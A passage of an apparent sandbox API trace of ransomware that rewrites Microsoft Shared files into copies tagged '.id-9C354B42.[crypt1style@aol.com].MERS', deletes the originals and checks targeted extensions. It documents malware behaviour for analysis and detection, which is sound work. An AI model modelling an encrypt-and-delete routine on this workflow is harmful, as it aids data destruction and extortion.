nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0044.915] WriteFile (in: hFile=0x214, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0044.916] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.916] WriteFile (in: hFile=0x214, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.916] SetEndOfFile (hFile=0x214) returned 1 [0044.916] CloseHandle (hObject=0x214) returned 1 [0044.916] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.916] SetEndOfFile (hFile=0x1f0) returned 1 [0044.917] CloseHandle (hObject=0x1f0) returned 1 [0044.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.917] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0044.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.917] lstrlenW (lpString=".doc") returned 4 [0044.917] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0044.917] lstrlenW (lpString=".docx") returned 5 [0044.917] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0044.917] lstrlenW (lpString=".pdf") returned 4 [0044.918] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString=".xls") returned 4 [0044.918] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString=".xlsx") returned 5 [0044.918] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0044.918] lstrlenW (lpString=".ppt") returned 4 [0044.918] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.918] lstrlenW (lpString=".zip") returned 4 [0044.918] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString=".rar") returned 4 [0044.918] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString=".bz2") returned 4 [0044.918] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0044.918] lstrlenW (lpString=".7z") returned 3 [0044.918] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0044.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.918] lstrlenW (lpString=".dbf") returned 4 [0044.918] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0044.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.918] lstrlenW (lpString=".1cd") returned 4 [0044.918] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0044.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.918] lstrlenW (lpString=".jpg") returned 4 [0044.918] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.918] lstrlenW (lpString=".doc") returned 4 [0044.918] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0044.918] lstrlenW (lpString=".docx") returned 5 [0044.918] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0044.918] lstrlenW (lpString=".pdf") returned 4 [0044.918] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString=".xls") returned 4 [0044.918] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0044.918] lstrlenW (lpString=".xlsx") returned 5 [0044.919] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0044.919] lstrlenW (lpString=".ppt") returned 4 [0044.919] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0044.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.919] lstrlenW (lpString=".zip") returned 4 [0044.919] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0044.919] lstrlenW (lpString=".rar") returned 4 [0044.919] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0044.919] lstrlenW (lpString=".bz2") returned 4 [0044.919] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0044.919] lstrlenW (lpString=".7z") returned 3 [0044.919] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0044.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.919] lstrlenW (lpString=".dbf") returned 4 [0044.919] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0044.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.919] lstrlenW (lpString=".1cd") returned 4 [0044.919] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0044.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0044.919] lstrlenW (lpString=".jpg") returned 4 [0044.919] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0044.919] lstrcmpiW (lpString1=".DAT", lpString2=".MERS") returned -1 [0044.919] lstrlenW (lpString="STOCKS.DAT") returned 10 [0044.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.017] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=39017) returned 1 [0045.017] CloseHandle (hObject=0x210) returned 1 [0045.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0045.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.017] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.017] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0045.018] GetLastError () returned 0x0 [0045.018] ReadFile (in: hFile=0x210, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x9869, lpOverlapped=0x0) returned 1 [0045.035] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0045.036] ReadFile (in: hFile=0x210, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.036] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0045.036] SetEndOfFile (hFile=0x1f0) returned 1 [0045.037] CloseHandle (hObject=0x1f0) returned 1 [0045.037] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.037] SetEndOfFile (hFile=0x210) returned 1 [0045.038] CloseHandle (hObject=0x210) returned 1 [0045.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0045.038] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0045.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.038] lstrlenW (lpString=".doc") returned 4 [0045.038] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0045.038] lstrlenW (lpString=".docx") returned 5 [0045.038] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0045.038] lstrlenW (lpString=".pdf") returned 4 [0045.039] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".xls") returned 4 [0045.039] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".xlsx") returned 5 [0045.039] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0045.039] lstrlenW (lpString=".ppt") returned 4 [0045.039] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.039] lstrlenW (lpString=".zip") returned 4 [0045.039] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".rar") returned 4 [0045.039] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".bz2") returned 4 [0045.039] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0045.039] lstrlenW (lpString=".7z") returned 3 [0045.039] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0045.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.039] lstrlenW (lpString=".dbf") returned 4 [0045.039] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.039] lstrlenW (lpString=".1cd") returned 4 [0045.039] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0045.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.039] lstrlenW (lpString=".jpg") returned 4 [0045.039] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.039] lstrlenW (lpString=".doc") returned 4 [0045.039] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".docx") returned 5 [0045.039] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0045.039] lstrlenW (lpString=".pdf") returned 4 [0045.039] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".xls") returned 4 [0045.039] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0045.039] lstrlenW (lpString=".xlsx") returned 5 [0045.039] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0045.040] lstrlenW (lpString=".ppt") returned 4 [0045.040] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0045.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.040] lstrlenW (lpString=".zip") returned 4 [0045.040] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0045.040] lstrlenW (lpString=".rar") returned 4 [0045.040] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0045.040] lstrlenW (lpString=".bz2") returned 4 [0045.040] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0045.040] lstrlenW (lpString=".7z") returned 3 [0045.040] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0045.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.040] lstrlenW (lpString=".dbf") returned 4 [0045.040] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0045.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.040] lstrlenW (lpString=".1cd") returned 4 [0045.040] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0045.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0045.040] lstrlenW (lpString=".jpg") returned 4 [0045.040] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0045.040] lstrcmpiW (lpString1=".TXT", lpString2=".MERS") returned 1 [0045.040] lstrlenW (lpString="METCONV.TXT") returned 11 [0045.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.041] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1183416) returned 1 [0045.041] CloseHandle (hObject=0x210) returned 1 [0045.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0045.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.041] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.068] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.069] GetLastError () returned 0x0 [0045.069] ReadFile (in: hFile=0x210, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0045.177] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0045.282] ReadFile (in: hFile=0x210, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0045.438] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0045.443] ReadFile (in: hFile=0x210, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.443] WriteFile (in: hFile=0x1c4, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.443] SetEndOfFile (hFile=0x1c4) returned 1 [0045.444] CloseHandle (hObject=0x1c4) returned 1 [0045.444] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.444] SetEndOfFile (hFile=0x210) returned 1 [0045.446] CloseHandle (hObject=0x210) returned 1 [0045.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0045.448] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0045.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.448] lstrlenW (lpString=".doc") returned 4 [0045.449] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString=".docx") returned 5 [0045.449] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0045.449] lstrlenW (lpString=".pdf") returned 4 [0045.449] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString=".xls") returned 4 [0045.449] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0045.449] lstrlenW (lpString=".xlsx") returned 5 [0045.449] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0045.449] lstrlenW (lpString=".ppt") returned 4 [0045.449] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.449] lstrlenW (lpString=".zip") returned 4 [0045.449] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0045.449] lstrlenW (lpString=".rar") returned 4 [0045.449] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString=".bz2") returned 4 [0045.449] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString=".7z") returned 3 [0045.449] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0045.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.449] lstrlenW (lpString=".dbf") returned 4 [0045.449] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.449] lstrlenW (lpString=".1cd") returned 4 [0045.449] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.449] lstrlenW (lpString=".jpg") returned 4 [0045.449] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0045.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.449] lstrlenW (lpString=".doc") returned 4 [0045.450] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString=".docx") returned 5 [0045.450] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0045.450] lstrlenW (lpString=".pdf") returned 4 [0045.450] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString=".xls") returned 4 [0045.450] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0045.450] lstrlenW (lpString=".xlsx") returned 5 [0045.450] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0045.450] lstrlenW (lpString=".ppt") returned 4 [0045.450] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.450] lstrlenW (lpString=".zip") returned 4 [0045.450] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0045.450] lstrlenW (lpString=".rar") returned 4 [0045.450] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString=".bz2") returned 4 [0045.450] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString=".7z") returned 3 [0045.450] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0045.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.450] lstrlenW (lpString=".dbf") returned 4 [0045.450] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.450] lstrlenW (lpString=".1cd") returned 4 [0045.450] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0045.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0045.450] lstrlenW (lpString=".jpg") returned 4 [0045.450] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0045.450] lstrcmpiW (lpString1=".jpg", lpString2=".MERS") returned -1 [0045.450] lstrlenW (lpString="Small_News.jpg") returned 14 [0045.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.842] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1990) returned 1 [0045.842] CloseHandle (hObject=0x1c4) returned 1 [0045.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg")) returned 0x20 [0045.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0045.842] lstrlenW (lpString=".doc") returned 4 [0045.842] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0045.842] lstrlenW (lpString=".docx") returned 5 [0045.842] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0045.842] lstrlenW (lpString=".pdf") returned 4 [0045.843] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString=".xls") returned 4 [0045.843] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0045.843] lstrlenW (lpString=".xlsx") returned 5 [0045.843] 